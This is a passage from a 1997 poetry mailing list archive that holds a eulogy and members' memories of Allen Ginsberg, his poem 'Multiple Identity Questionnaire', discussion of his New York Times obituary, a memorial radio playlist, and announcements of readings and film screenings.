The silvery, insistent sound of Allen's cymbals echoed off the tops of the mountains. The top of my head seemed to open and become part of the sky. The thundering power of Hare, of Rama, of Krishna, gods I still do not know, seemed

imminent, seemed present. Yet the day remained a perfectly ordinary day, and all of us were here on earth, plain beings of human flesh.

The night before at a party at my place, saying he liked the way he danced , he had propositioned my friend Dallas Selman, who was accompanying us that morning. But Dallas, who was not gay, put him off by lying, telling him that his wife wouldn't like it if he went with Allen. In the morning, as we set out to drive up the mountain, Allen asked Dallas about his wife, and, stupid me, big mouth, blurted out, "What wife?' There was plenty of silliness and laughter surrounding Allen Ginsberg, but he was serious, and critical, too. I remember he made harsh fun of me later for my "hip" affectations, because that was his way of love. His aim both in his poetry and his life was to shock and to awaken, and he was so momentously successful at his work.

The last time I saw him was in Montreal in 1975. Thousands, (literally thousands!) of Quebecois young people came to see him and William Burroughs there, and listened with close attention, even though many of them spoke only French, and they were awakened as they had expected to be, because Allen never stinted in his the speaking of his truth.

He came to Vancouver again about 1990, when he gave a reading with Gregory Corso and Michael McClure, I think. But I was living elsewhere and wasn't able to attend. Gregg Simpson, an artist friend who is also a musician and lives close by to me, often speaks with great pride about working as the percussionist in the band that opened the reading. There are many people in Vancouver whose lives have been touched by his presence in ways they will never forget. In the near days to come all of us will be talking together about Allen and remembering what he gave to us from the unparalleled generosity of his American soul, from his grand passion.

There are not many poets and poems of which it can be said that they have changed the direction of human life. Leaves of Grass is certainly one such poem, and Allen Ginsberg, through the stewardship of his beloved William Carlos Williams, is the direct inheritor of that wonderful fearless American public democratic voice. The opening lines of HOWL, that holy poem, cannot be erased from the consciousness of North America or the world. From the moment that I first read HOWL, my life was changed forever, and the same is true of almost all my contemporaries and friends. This sexy apocalyptical rant was the clearest and steadiest voice of the visions of a generation.There was a time when I could recite the poem completely off by heart like the Bible itself. Mad as Ginsberg sometimes like to act, had a scholar's knowledge of so many things, of the Jewish rabbinical tradition, of Buddhism, classical and Zen, of Hindu visions, and of Tantric meditations. He was instrumental in awakening an entire generation of America to the fact that there were other powerful forms of knowledge that

could enrich the American pragmatic and scientific consciousness and expand the possibilities of human life. From this mix, Ginsberg concocted a stew both flavourful and spicy. And full of a delightful laughter. He never went passive in the world, he was always striving to make an effect, to wring some changes, and even when at his most clown-like, playing, the fool, beneath it and under it all was a deep and important human dignity which commanded respect, but especially love.

Official America laughs and makes a joke of this holy fool, but he, in his person and in his work, represents the new soul of the New America which is still being born. For many years he mainly disappeared from the public media, but recently I have seen on television a wonderful documentary about the life and work of William Carlos Williams, in which Allen gives a wise and beautiful analysis and summation of the contradictions within the American society and psyche which were expressed by Allen's great teacher, the hope and the desire for a richer and more humane human life, thwarted by the blindness of official morals and society in America--

"The pure products of America/go crazy."

"I have seen the best minds of my generation destroyed by madness."

With these and the lines that followed, Ginsberg fashioned a call and a program for a kind of mental and social insurrection which is still going on in America, and there is no going back. Once said, this cannot be cancelled, and the message will be heard by this generation, and the next generation, and the next. Allen cannot die. He has already joined the Immortals.

Then again, during the Gulf War, Allen Ginsberg appeared on television, the only one among thousands of Americans who gave their views during those horrifying traumatic months, to speak unequivocally and clearly in the voice of an Old Testament prophet, with the learning of a rabbi, and the deep understanding of the American democratic political tradition, condemning the holocaust visited on the Iraqi people by the merciless bombs of American military power, so unjustifiably, so contrary to the purest ideals of American democracy. It was the speech of a hero, an act of the purest human courage and made me proud that I had once stood in the living presence of this wonderful American human being. That one speech erased forever my skeptical doubts about the power of the truth that Allen Ginsberg carried in his soul and daily spoke, the mightiness of that "queer shoulder" he vowed so many years ago to put to the wheel in hiis poem called "America," tough, unbending speaker of human love that he was.

These two television programs and anything else that he has done, should be made available to the world as we think back upon the life of this great poet and the profound knowledge he has given us of America and its soul.

It was through Allen Ginsberg and his friends that I came to know so many things I would otherwise have never known. Today, I know I am together with poets in my own country and in the United States, England, The Czech Republic, Slovakia, Russia, Cuba, India, Mexico, Japan--all the places in the world that his monumental love has touched. Allen was instrumental in bringing to the consciousness of ignorant North Americans, the beauty and wisdom of the religious texts of the East, including the Tibetan Book of the Dead. Now Allen is receiving the emanations of all our love assisting his soul in its passage to that other world.

Dearest, beloved Allen, I am not alone in loving you: there are thousands world wide who are thinking about you today with love and gratitude. People everywhere are sending you their blessings as you pass into the spirit. All of our shoulders are still at the wheel, still at the work which you showed us must be done, and how to do it, given the example of your own magnificent courage and devotion, the splendour of your awakened human vision.

Jamie Reid

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154. David Bromige
Jamie Reid's eulogy for A.G.
Sun 6 Apr 1997

I will backchannel to Jamie my appreciation also, but I want to thank him on the list for his splendid eulogy forwarded to us today. Reading it, I thought of all that AG survived in order to flesh out his three-score-and-ten, while not only keeping his mind but growing in humanity, and I thought of how infectious his spirit, finding as I did a scale and tone in Jamie's eulogy I had too little appreciated, in these many years of our separation, were part of this man's range, but which surely owed something to the topic of his address.

By way of postscript to Jamie's posting and those many of others, I'd like to say my Ginsberg piece. While AG and I met several times over the decades, I did not become close with him until we were neighbors in the faculty dorms at Naropa. During those conversations I learned about him firsthand what everyone has been speaking to the list--most notably, of his breadth, humility, and unremitting hunt for the intelligent heart of the world. Through his position and stature as a world leader, he bore the continual brunt of exponential information and once I had to ask him to put aside what he knew of injustice and misery from all over, so that we might feel happier while we talked. Scrupulously obliging, as one hears he so often could be, he did what he could to shut out what must have been a virtually uninterruptible clamor for succor and witness beaming in to his radio-brain.

Where AG was concerned, it was not love at first sight for me (the first time we met, in Vancouver in 63, he was wearing white robes and would have preferred to bow, I guess, but reluctantly did shake my hand, saying "Oh, are we still doing that?" : one might have said the same to him!) but at Naropa I found myself on his wavelength, an unforgettable experience.(For which opportunity, which this once I was not so dumb as to reject, my thanks to Anselm Hollo, Anne Waldman, Andrew Schelling and the other Naropa lights.)

He and I spoke of his health problems, and he complained of being tired, but he gave off a spry resilience that assured one he was good for a long time yet. That was only 18 months ago. But we see what life he continues to have as anecdote and eulogy flood in; and it was never clearer that he belongs to the ages.

Sorry for the length--meant to keep it short but something about Allen can take one over I notice. And thanks again to Jamie for his inspiring words. db

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155. Maria Damon (Maria Damon)

Re: Ginsberg NY Times obit

Sun 6 Apr 1997

At 12:30 PM 4/7/97, Michael Leddy wrote:
>I read yesterday's log this morning with the expectation that someone
>would've commented already on the NYT obituary. But no one has. I
>didn't expect the Times to get it right, but still--
>
>Wilborn Hampton adds an exclamation point to the title _Howl_ (even though
>the front page photo has the Facsimile Edition right there, no exclamation
>point). (A photo on page 21 almost certainly misidentifies someone else
>as William Burroughs.) Hampton quotes John Leonard (of all people) and
>Saul Bellow (of all people) on AG's significance as a writer. He
>describes AG as "a protege of William Carlos Williams." He says that AG
>"used the celebrity he gained with 'Howl!' to travel widely during the
>next two decades" (living off his fame, sure). He misspells John Clellon
>Holmes' name and seems confused about the circumstances concerning
Howl
>and WBAI. The obit seems generally disdainful: "[Ginsberg] declared he
>had found a new method of poetry. 'All you have to do,' he said, ' is
>think of anything that comes into your head," etc. And Neal Cassady is
>identified as "a railway worker who had literary aspirations." The
>headlines--"Master of Beat Poets" and "Master of the Outrageous" also seem
>to cast AG as someone not to be taken (all that) seriously.

>
>Now I know the work of three Hamptons. I still prefer Lionel and Hawes.
>(But what did I expect for four dollars?)
>
>Michael Leddy
>Charleston, IL

these seem like trivial peccadillos. i was actually surprised by how little there was to complain about in the obit.

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156. Loss Glazier
EPC Correspondence
Mon 7 Apr 1997

A note that there may be a delay in any correspondence sent to the EPC for the next week to ten days. Please be patient or hold your requests until after the middle of April. Nothing should get lost however - and we'll try to catch up as soon as possible after that. Meanwhile, new resources continue to be added. Stop by and have a look when you get the chance. As always, at http://writing.upenn.edu/epc

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157. T-Bone Prone
Re: Ginsberg
Mon 7 Apr 1997

I am summoned from my bed
to the Great City of the Dead

-Allen Ginsberg, "White Shroud",
composed the night of October 5, 1983
and signed at 6:35 AM.

> << >> <<

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158. Pete Landers
Re: my Ginsberg story
Mon 7 Apr 1997

Once I was at a gathering in Buffalo, having driven Tom Raworth there from Rochester. Susan Howe was there, too, and Allen Ginsburg and several Buffalo-dians who are on this list. Somehow along the drive I had developed one of those really nasty neck-ache / sinus headache pains and wasn't able to talk with

anyone. I was sitting apart, resting my neck, when I felt hands on my shoulders. It was Allen, concerned about someone he never even met. We exchanged a few words, I thanked him for writing honestly and told him he was an inspiration to me. We talked a little politics. Since then whenever some self-appointed literary didact has tried to make pronouncements about Ginsberg's personality, I have argued. Here was a man who did not give himself airs. He tried his best to live honestly in this crazy world.

Pete Landers
[redacted]

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159. Susan Wheeler
Services update
Mon 7 Apr 1997

Sitting (four hours) begins this morning at 9:30 at Shambhala, 118 West 22nd Street; private services tomorrow.

S. Wheeler

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160. Douglas
Allen Ginsberg poem
Mon 7 Apr 1997

Just a few months ago Allen sent a poem to Sun & Moon
Press for inclusion in THE POETS' CALENDAR.

I think it sums up his incredible career, and we'd
like to offer it as a brief memorial:

Multiple Identity Questionnaire

"Nature empty, everything's pure;
Naturally pure, that's what I am"

I'm a jew? a nice jewish boy?
A flaky Buddhist, certainly
Gay in fact pederast? I'm exaggering?
Not only queer an amateur S & M fan, someone should
    spank me for saying that
Columbia Alumnus, class of '48,
Beat icon, students tell me.
White, if jews are "white race,"
American by birth, passport and residence

Slavic heritage, mama from Vitebsk, father's
forebears Kamenetz-Podolska near Lvov.
I'm an intellectual! An anti-intellectual, anti academic
Distinguished Professor of English, City University of New
York,
Manhattanite, Brooklyn College Faculty,
Another middle class liberal,
but lower class second generation immigrant,
Upperclass, I own a condo loft, go to art gallery Buddhist
vernissage dinner parties with Nicarchos,
Rockefeller, and the Luces
Oh what a sissy, Professor Four-eyes, can't catch a
baseball or drive a car--courageous Shambhala
Graduate Warrior!
Still student, chela, disciple, my guru Gelek Rinpoche,
Myself addressed "Maestro" in Milan, Venice, Napoli
because Septuagenarian, got Senior Citizen discount
at Alfalfa Healthfoods New York subway--
Mr. Sentient Being! -- Absolutely empty Non-being Non
not-being neti neti identity, Maya delusion,
Nobodaddy, a nonentity

7/5/96 Naropa Tent
Boulder, CO

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161. Mark Prejsnar
Re: Time Change
Mon 7 Apr 1997

Actually SOME of us, who are stretched rather thin, are not at all happy about the "loss" of a "formerly extra" hour of sleep....What exactly do business interests get out of it by the way?

Mark P.

On Fri, 4 Apr 1997, Joe Safdie wrote:
> >
> Congratulations to the citizens of Indianapolis for resisting the
> artificial, mechanical construction of "daylight savings" -- it's
> all done for business interests -- (though this is the "good" pole,
> when we're all supposed to be happy for the "extra" daylight) --

>
> (and are)
>

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162. Douglas
Re. Allen Ginsberg poem
Mon 7 Apr 1997

C> From: Douglas <[redacted]>
> Organization: Sun Moon Books
> Subject: Allen Ginsberg poem
> Comments: cc: [redacted]
> To: [redacted]
> X-PMFLAGS: 34078848
>
> Just a few months ago Allen sent a poem to Sun & Moon
> Press for inclusion in THE POETS' CALENDAR.
>
> I think it sums up his incredible career, and we'd
> like to offer it as a brief memorial:
>
> Multiple Identity Questionnaire
>
> "Nature empty, everything's pure;
> Naturally pure, that's what I am"
>
> I'm a jew? a nice jewish boy?
> A flaky Buddhist, certainly
> Gay in fact pederast? I'm exaggering?
> Not only queer an amateur S & M fan, someone should
> spank me for saying that
> Columbia Alumnus, class of '48,
> Beat icon, students tell me.
> White, if jews are "white race,"
> American by birth, passport and residence
> Slavic heritage, mama from Vitebsk, father's
> forebears Kamenetz-Podolska near Lvov.
> I'm an intellectual! An anti-intellectual, anti academic
> Distinguished Professor of English, City University of New
> York,
> Manhattanite, Brooklyn College Faculty,

> Another middle class liberal,
> but lower class second generation immigrant,
> Upperclass, I own a condo loft, go to art gallery Buddhist
> vernissage dinner parties with Nicarchos,
> Rockefeller, and the Luces
> Oh what a sissy, Professor Four-eyes, can't catch a
> baseball or drive a car--courageous Shambhala
> Graduate Warrior!
> Still student, chela, disciple, my guru Gelek Rinpoche,
> Myself addressed "Maestro" in Milan, Venice, Napoli
> because Septuagenarian, got Senior Citizen discount
> at Alfalfa Healthfoods New York subway--
> Mr. Sentient Being! -- Absolutely empty Non-being Non
> not-being neti neti identity, Maya delusion,
> Nobodaddy, a nonentity
>
> 7/5/96 Naropa Tent
> Boulder, CO
>
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163. David Bromige
detention with a red headed woman
Mon 7 Apr 1997

This "subject" from George Bowering refers to a chapter in our collaborative novel, _Piccolo Mondo_, and I am pleased to announce its upcoming publication by New Coachhouse Press, Toronto. Details later, possibly from my co-author. db.

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164. MAXINE CHERNOFF
70th Birthday Party
Mon 7 Apr 1997

Last summer Paul Hoover and I were teaching at Naropa the week they happened to hold a belated birthday party for Allen. The tone of the toasts at the party was respectful but in summary of his career and I thought a bit tedious to someone who wasn't well (he'd been very ill the week before) and who seemed impatient with direct praise. After he was presented his dietetic cake and

asked to say some words, these were the words he said: "This is boring and embarrassing." Candor and practicality were among his strongest attributes, and he didn't forsake them for birthday pomposity. After he was allowed off-stage, he became personally very pleasant amd talked to everyone in sight. I felt lucky to attend his less than successful birthday celebration and, like all people on this list, will miss him.

Maxine Chernoff

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165. Aldon L. Nielsen
Re: One who is still among us
Mon 7 Apr 1997

Lou Harrison, who has written some memorable verse alongside his unforgettable music, is at last receiving some overdue recognition as he turns eighty. For any of you living or visiting in the Bay area this week, here are a few events:

Tuesday noon -- San Jose State concert hall -- open discussion with Harrison

Tuesday 8:00 PM -- Tribute concert (call [redacted] for tickets)

April 22-23 -- at University of California Santa Cruz 22 -- talk by Leta Miller, author of "Lou Harrison: Composing a World" forthcoming from Oxford -- talk will include playing of tape from 1968 Cabrillo music festival concert at which Harrison's "Peace Pieces" caused an audience uproar (just like the good ole days of Igor & Vaslav in Paris!)

23 -- 80th birthday concert UCSC Recital Hall 8:00 PM for tickets call [redacted]

May 9 & 10 -- San Jose Symphony, Center for the Performing Arts 8:00 PM performance of Harriosn's Symphony #2 along with Ives's Symphony #3 call [redacted]

AND for music fans everywhere -- There is a Lou Harrison web site at:

http://www.music.sjsu.edu/Harrison/harrison.html

↑ Index

166. Jerry Rothenberg
San Diego Readings
Mon 7 Apr 1997

For those in the San Diego area or in striking distance thereof, the New Writing Series for April and May includes:

Friday, April 11th, 7:30 p.m.: Carolee Schneemann in a performative reading, "Your Dog My Cat or Delirious Arousal of Destruction" (at the Center for Research in Computing & the Arts, UCSD, #408 University Center).

Thursday, April 17th, 7:30 p.m.: Raymond Federman & Ron Sukenick (at the UCSD Visual Arts Facility Performance Space, located on Russell Lane).

Friday, April 25th, 4:00 p.m.: Lois-Ann Yamanaka (at Visual Arts Facility Performance Space).

Wednesday, April 30th, 4:30 p.m., Peter Gizzi & Elizabeth Willis (at Visual Arts Performance Space).

Wednesday, May 14th, 4:30 p.m., Ojenke, at Visual Arts Facility Performance Space).

Note. On Thursday, April 10th, at 6:30 p.m., Carolee Schneemann will be showing three short recent films ("Known/Unknown," "Interior Scroll: the Cave," and "Instructions per Second") as part of the Glare Screening Series (UCSD Visual Arts Facility Performance Space).

All events are free & open to the public.

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167. Michael Leddy
Ginsberg NY Times obit
Mon 7 Apr 1997

I read yesterday's log this morning with the expectation that someone would've commented already on the NYT obituary. But no one has. I didn't expect the Times to get it right, but still--

Wilborn Hampton adds an exclamation point to the title _Howl_ (even though the front page photo has the Facsimile Edition right there, no exclamation point). (A photo on page 21 almost certainly misidentifies someone else as William Burroughs.) Hampton quotes John Leonard (of all people) and Saul Bellow (of all people) on AG's significance as a writer. He describes AG as "a protege of William Carlos Williams." He says that AG "used the celebrity he gained with 'Howl!' to travel widely during the next two decades" (living off his fame, sure). He misspells John Clellon Holmes' name and seems confused about the circumstances concerning _Howl_ and WBAI. The obit seems generally disdainful: "[Ginsberg] declared he had found a new method of poetry. 'All you have to do,' he said, ' is think of anything that comes into your head," etc. And Neal Cassady is identified as "a railway worker who had literary aspirations." The headlines--"Master of Beat Poets" and "Master of the Outrageous" also seem to cast AG as someone not to be taken (all that) seriously.

Now I know the work of three Hamptons. I still prefer Lionel and Hawes. (But what did I expect for four dollars?)

Michael Leddy
Charleston, IL

↑ Index

168. Ryan Whyte
90 Neuf Zero
Mon 7 Apr 1997

The drive, the fact
it nightly conditions
the radio voice tenor
Canada Year Nine Seven
Stultifying, frequency
rue Helmoltz-Hering the
black Goethe in the prism
bars folds the penitentiary
taught them a thing or two

that my heart is a random
dot stereogram controversy
swells like a hidden woman
tensor edge the writing of
her heart knows the valve control
inflation quick inside the virtual
of atmospheres in ancient Canada
pipeline is father, to the sister
pulsing from the arctic neuf zero

blank spectrum of gusher ruins
farmers fields forever nightly
right inside the blunt habitus
good gold Merleau taught it to
the children of bourgeoisie in
their parents' apartments on a
planned date metaphysical wall
written revolution when it Goe
commute impossible rue the day
of streets that built the city
not the other way around black
money is our here our parents'
complicity nation quiet zero 1

also, when I drive I think of
nothing but you and I drive forever.

↑ Index

169. henry gould
Re: Ginsberg NY Times obit
Mon 7 Apr 1997

always ready to defend the status quo... just a few comments on Michael Leddy's comments.

the obit could have been better, granted. But it was a far cry from generally disdainful. Why NOT quote laudatory remarks from figures outside of the circle of admirers (i.e. Saul Bellow)? That seems the most objective kind of praise. The photo mentioned certainly WAS Burroughs. Would Ginsberg himself want to be taken ALL THAT SERIOUSLY? Do you want to have it both ways? I thought for a brief time AG WAS a "protege" of Williams - before going to college. I could have this wrong. People know AG 's letter turns up (amazingly!!) in _Paterson_ - not the letter of a disciple, for sure - in fact a critical letter, critical of some myopic aspects of Wms' epic - but it's still the letter of a young writer in dialogue with an older. but hey, let's not have a hash-over debate over the tombs... love, love, & sorrow these days, & joy too yoo too - Henry G

↑ Index

170. John Cayley
Cyber/Poetextual Readings in London
Mon 7 Apr 1997

*** with apologies for cross-postings ***

Jim Rosenberg
Loss Pequen~o Glazier
Chris Funkhouser

Read, Project & Perform
for SubVoicive Poetry

Friday 11th April
The Three Cups
Sandland Street
(Holborn Tube)
London, UK
Admission GBP 5.00 (concessions 2.50)
Doors open 8 pm, reading starts 8:15

Warp your geographies by taking this opportunity of
a rare visit by US-based proponents of
hypertext / cybertext *&* poetext

Or, if you're on the other side of the pond, why not
make it a reason to take a weekend flight
to the world's most happening city?

Chris Funkhouser is a musician, writer, broadcaster and computer programmer who has edited and co-produced literary journals on CD-ROM, compact disc, video, the Internet and in print. Recent magazine publications included in _Callaloo_, _Hambone_ and _Talisman_.

Loss Pequen~o Glazier, a Tejano native, is a practising Webmaster presently living in the (far) northern Americas. He is Director of the Electronic Poetry Center <http://writing.upenn.edu/epc>. His writing stirs up the sleeping lakes of language that lie among technology, poetics, American Spanish, the pre-Conquest, and the visual.

Jim Rosenberg's recent work uses dense interactive overlays of words. On a computer screen the individual layers may be navigated, often via a diagram syntax which allows both structure and direct juxtaposition. Recent publications: _Diffractions through: Thirst weep ransack (frailty) veer tide elegy_ and _The Barrier Frames: Finality crystal shunt curl chant quickening giveaway stare_ (both: Eastgate Systems, 1996); _Intergrams_ (Eastgate, 1993).

More details of the subVoicive series of reading in London from: Lawrence Upton <[redacted]>

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171. Pritchett,Pat

Re: naked

Mon 7 Apr 1997

Richard Howard relates (in _Alone With America_, that most parochial of books masquerading as a universal history) how Ginsberg once stood before the assemblage at a literary conference in the 60's and humbly, piously, decently stripped naked - as naked as the self he revealed (and created) in his poems.

Whenever I think of Allen Ginsberg I think of that: a theatricality that transcended itself through sheer openess and sweetness.

I think of the line from Ruben Dario:

"From its own nakedness does the star shine."

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172. **Kenneth Goldsmith**

"Kaddish for Allen Ginsberg" Playlist

Mon 7 Apr 1997

"Unpopular Music with Kenny G."
Monday Mornings 9-Noon
WFMU, 91.1 FM
Serving the NYC/Catskills area

****
"Kaddish for Allen Ginsberg"
Playlist for Monday April 7, 1997
****

Allen Ginsberg "Father Death Blues"
Allen Ginsberg Part 1 of "Kaddish"
Fugs "Nothing"

Eliane Radigue "Mila's Song in the Rain, Pt. 1"
Allen Ginsberg "The End"
Eliane Radigue "Mila's Song in the Rain, Pt. 2"

Jack Kerouac & Steve Allen "Deadbelly"
Irving Jacobson "Az Men Muzsh Muzsh Men"
Mystic Fugu Orchestra (John Zorn/Yamantaka Eye)
Allen Ginsberg "Kral Majales"
Abe Elenkrig's Yiddishe Orchestra "Fon der Choope" (1913)

Bob Dylan "Sad Eyed Lady of the Lowlands"
Allen Ginsberg "Infant Joy"
Allen Ginsberg "The Little Fish Devours the Big Fish"

Tom Waits "Jack & Neal/Califonia Here I Come"
Charlie Parker "Carving the Bird"
"Footloose in Greenwich Village"--1960 WNYC Broadcast
Bob McFadden & Dor "The Beat Generation"
David Amram "Pull My Daisy"
Allen Ginsberg "Pull My Daisy"

William S. Burroughs & Kurt Cobain "The Priest They Called Him"
Timothy Leary "You Can Be Anyone This Time Around"
Allen Ginsberg "Prayer Blues"

Billy Bragg "The Internationale"
Allen Ginsberg "Hum Bomb"
Brion Gysin "Pistol Poem"
Brion Gysin "Pistol Poem Part 2"

Brion Gysin "Recalling All Active Agents"
Master Musicians of Jojuka "Brahim Jones Jojuka Very Stoned"
Paul Bowles "Baptism of Solitude"
The Splendid Master Gnawa Musicians of Morroco "La Voix Errante"

The Clash & Allen Ginsberg "Capitol Air"
The Clash & Allen Ginsberg "Ghetto Defendent"
Allen Ginsberg "Birdbrain"

Walt Whitman "America"
Loseling Dratsang of Drenng Monastery "Ornament for Clear Realization"

Kenny G.
http://www.wfmu.org/~kennyg

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173. Aldon L. Nielsen
this week's Inuit show... (fwd)
Mon 7 Apr 1997

page down a bit & you'll find the announcement for a rare screening of a Robbe Grillet film -- and an interesting web site

---------- Forwarded message ----------
Date: Mon, 07 Apr 1997 14:43:44 -0700
From: Geoff Alexander <[redacted]>
To: c16Presslist <[redacted]>
Subject: this week's Inuit show...

Hi friends,

Those of you who missed last week's show lost out on a real treat as 'Miss cine16' presented a fabulous door prize consisting of a copy of "Toymaker" --- one of worst of the terrible films we showed last week --- to a randomly drawn (but not quartered) guest. Look forward to more of these shameless promotional gimmicks as we plumb the depths of the 16 mm experience.

On a more serious note, we're going to be including a new feature with your weekly film notes: when possible, we'll provide you with web links to sites containing meaningful background information on a given week's films. This week, for example, you can investigate Canadian government's Inuit website for great historical and cultural data, and then visit Marc London's Inuit art site for examples of indigenous art and sculpture.

And please note that our May 8 show with John Barnes in person will begin at 7 pm --- one half-hour earlier than usual --- to allow adequate time for two hours

of film plus your opportunity to ask questions during our live interview with this legendary filmmaker.

Best, Geoff

PRESS RELEASE 23

FOR IMMEDIATE RELEASE

Contact: Geoff Alexander
[redacted]

PROGRAM NOTES FOR cine16 FILM FESTIVAL'S April 10 program at the downstairs Speakeasy in the Agenda Restaurant & Lounge, downtown San Jose, Thursday at 7:30 pm

‘Up north is down south from here: Inuit culture of the Canadian Arctic’

Web sites of interest:

(Canadian Inuit site)
http://www.inac.gc.ca/pubs/information/info16.html
(Inuit sculpture & art) http://www.total.net/~elcalon/

The Inuit are a nomadic aboriginal group from northeastern Canada comprising some 600 bands speaking derivations of the Inuktitut language. In 1999, the territory of Nunavut will be spun off from the Northwest Territories, and provide more formal representation for the Inuit in the new bi-cultural government residing in the town of Iqaluit, formerly know as Frobisher Bay, Baffin Island. The Inuit have been the subject of many dramatic and fascinating films, and tonight we'll show three of the best. In addition to providing wonderful insight into a little-understood population, these understated films provide a tonic for those of us who have gotten sick and tired of having to listen to new age music and panpipes as musical accompaniment for seemingly every documentary, ethnographic, or zoological film be produced today.

‘At the Winter Sea Ice Camp I’ ‘At the Autumn River Camp II’, both 1969, d. Quentin Brown. In the late 1960's anthropologist Asen Balikci attempted to document traditional customs, including seal hunting and komatiq (dog-sled) making, as they were before the coming of the missionaries and the use of rifles, usually dated at 1919 or so. When these films were made, there were still Inuit who remembered how to do these things, and Balikci and director Quentin Brown made total of nine films. Our two favorites are the savage 'At the Winter Sea Ice Camp I' and 'At the Autumn River Camp II', both outstanding documents in the non-narrated ethnographic tradition, and filmed at minus 10

degrees F. Among other things, the Inuit make a sled out of fish and antlers, and successfully hunt seal living six feet under sea ice.

‘Land of the Long Day' (1952), d. Doug Wilkinson. Paradoxically preceding the former films by 17 years, the director shows Inuit customs as they really were in the early 50's. Idlouk, the protagonist, tragically terminated his own life several years after 'Land' was made. This film is not only a fine explanation of the challenges faced by the Inuit, it is also a tribute to the filmmaker working in adverse conditions in which cameras freeze and weather is unpredictable.

Future programs include:

April 17: ‘Trans-Europ Express’: the 'cine'-roman' of Alain Robbe-Grillet. Rarely do we show feature length films, but tonight is an exception, as the entire program is given to the experimental filmmaker Alain Robbe-Grillet's 'Trans-Europ Express' (1965). This outstanding work is a film within a film as Robbe-Grillet sits in a train car and discusses with his producer and script supervisor a film he'd like to make about a drug deal in Antwerp. A man in fake beard and glasses gets on the train, but the director states he'd rather have J-L Trintignant, who then materializes, and stars, along with Marie-France Pisier, in this fascinating, unusual film in which characters and authors cross each other's paths, yet stay in their own frames of reference. Robbe-Grillet scholar John Leo will present a ten minute introduction to the work of this outstanding writer and filmmaker.

John hosts a Robbe-Grillet site; please visit it for more info:

http://www.halfaya.org/robbegrillet/

April 24: Judith Bronowski’s Mexico --- This filmmaker made four outstanding films showcasing historically significant artisans of Mexico. Made in the mid-1970s, they document the work --- and the words of the artists. Tonight we’ll show three of them: ‘Pedro Linares’ (papier-mache’ monsters called ‘alebrijes’), ‘Manuel Jimenez’ (woodcarver from Oaxaca), and ‘Sabina Sanchez’, an embroidered from Oaxaca. ‘Linares’, incidentally, was shown at ‘cine16’ earlier this year, and is returning by request. We’ll have one more short on this program, which we’re hoping will be the fourth in the series, lent by the filmmaker.

May 1: To be announced.

May 8: SHOW STARTS AT 7 PM. 'Shaw vs. Shakespeare' A tribute to the masterwork of director John Barnes. After reading the complete works of George Bernard Shaw, Barnes wrote, directed, and produced a series of three films narrated by Shaw (brilliantly portrayed by Donald Moffatt), describing how parallel characters (e.g. Julius Caesar, played by Richard Kiley) are treated differently by the two playwrights. We feel this series is one of the highlights of educational cinema: engaging, thoughtful, and intellectually stimulating. This is a

rare opportunity to see these three 1/2 films, produced in 1970, presented consecutively.

Also shown: 'Portable Phonograph', Barnes' last film, and one of the best.

WHO ARE WE?

'cine16' is a once-per-week, Thursdays at 7:30 pm cinema focusing on the historical and thematic aspects of 16mm documentary, ethnographic, industrial, and art films. Shows are approximately two hours long, and admission is always free. All shows start at 7:30 pm, but arrive early for seating. We're in the cellar speakeasy at downtown San Jose's Agenda Restaurant & Lounge. Enter through the Agenda Restaurant on South First Street, corner of San Salvador , and ask for 'cine16' in the downstairs speakeasy.

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174. k.a. hehir
help
Mon 7 Apr 1997

Hello,

Could someone please tell me where the idea/notion/line "technician of the sacred" comes from? I know it is the title of one of Jerome Rothenberg's anthologies and is quoted in the commentary on Blake in Poems for the Millennium,but I'm looking for the original source.

Thank You,

Kevin Hehir

↑ Index

175. shoemakers
Re: "Kaddish for Allen Ginsberg" Playlist
Mon 7 Apr 1997

Kenny--Thanx for posting your playlist. Great show!

steve (an ex-dj missing my old "slot," & my old station--if you're ever in Charlottesville, VA, WTJU rules! 91.1 FM--same call # as you, love the left o' the dial!)

On Mon, 7 Apr 1997, Kenneth Goldsmith wrote:

> "*Unpopular Music with Kenny G.*"
> *Monday Mornings 9-Noon*
> *WFMU, 91.1 FM*
> *Serving the NYC/Catskills area*

****

"Kaddish for Allen Ginsberg"
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Abe Elenkrig's Yiddishe Orchestra "Fon der Choope" (1913)

Bob Dylan "Sad Eyed Lady of the Lowlands"
Allen Ginsberg "Infant Joy"
Allen Ginsberg "The Little Fish Devours the Big Fish"

Tom Waits "Jack & Neal/Califonia Here I Come"
Charlie Parker "Carving the Bird"
"Footloose in Greenwich Village"--1960 WNYC Broadcast
Bob McFadden & Dor "The Beat Generation"
David Amram "Pull My Daisy"
Allen Ginsberg "Pull My Daisy"

William S. Burroughs & Kurt Cobain "The Priest They Called Him"
Timothy Leary "You Can Be Anyone This Time Around"
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Brion Gysin "Recalling All Active Agents"
Master Musicians of Jojuka "Brahim Jones Jojuka Very Stoned"
Paul Bowles "Baptism of Solitude"
The Splendid Master Gnawa Musicians of Morroco "La Voix Errante"

The Clash & Allen Ginsberg "Capitol Air"
The Clash & Allen Ginsberg "Ghetto Defendent"
Allen Ginsberg "Birdbrain"

> *Walt Whitman "America"*
> *Loseling Dratsang of Drenng Monastery "Ornament for Clear Realization"*
>
> ---
> *Kenny G.*
> *http://www.wfmu.org/~kennyg*

Steve Shoemaker

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176. **charssmith**
Re: help
Mon 7 Apr 1997

Without checking my books, I believe it's either a quote from or a riff off of Mircea Eliade.

In a message dated 97-04-07 19:39:02 EDT, you write:

<< Could someone please tell me where the idea/notion/line "technician of the sacred" comes from? I know it is the title of one of Jerome Rothenberg's anthologies and is quoted in the commentary on Blake in Poems for the Millennium,but I'm looking for the original source. >>

↑ Index

177. **charssmith**
Blaser in Santa Cruz
Mon 7 Apr 1997

I just got the information for this reading that Kevin mentioned last week, in case anyone in the area can make it:

Robin is indeed reading in Santa Cruz on Thursday, April 10, at 4:00 in Kresge College's Seminar Romm 159.

charles

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178. **Jerry Rothenberg**
Re: help
Mon 7 Apr 1997

For: Kevin Hehir

The source is Eliade's great book, Shamanism: Archaic Techniques of Ecstasy, although I can't recall that he uses the phrase exactly in that way. Rather he speaks of shamans mastering techniques of the sacred, which does of course (or did for me) suggest the other phrase. The excitement in Eliade was that the shamans, as presented therein, were also masters & makers & manipulators of language in such a way as to suggest that we could think of them as proto-poets, & then ... But it was always more complicated than that -- & mysterious -- & that was what the excitement was about ...

I don't recall the phrase -- or anything like it -- turning up elsewhere. But then, who knows?

With all good wishes,

Jerome Rothenberg

↑ Index

179. David Bromige
Nick, are you there?
Mon 7 Apr 1997

Calling Nick Piombino . . . Nick, I t h i n k you're on the List; hope so, I've mislaid your e-ddress. Write me!

(Apologies for back channeling in public, y'all) db

↑ Index

180. Charles Bernstein
Boston Area Reading
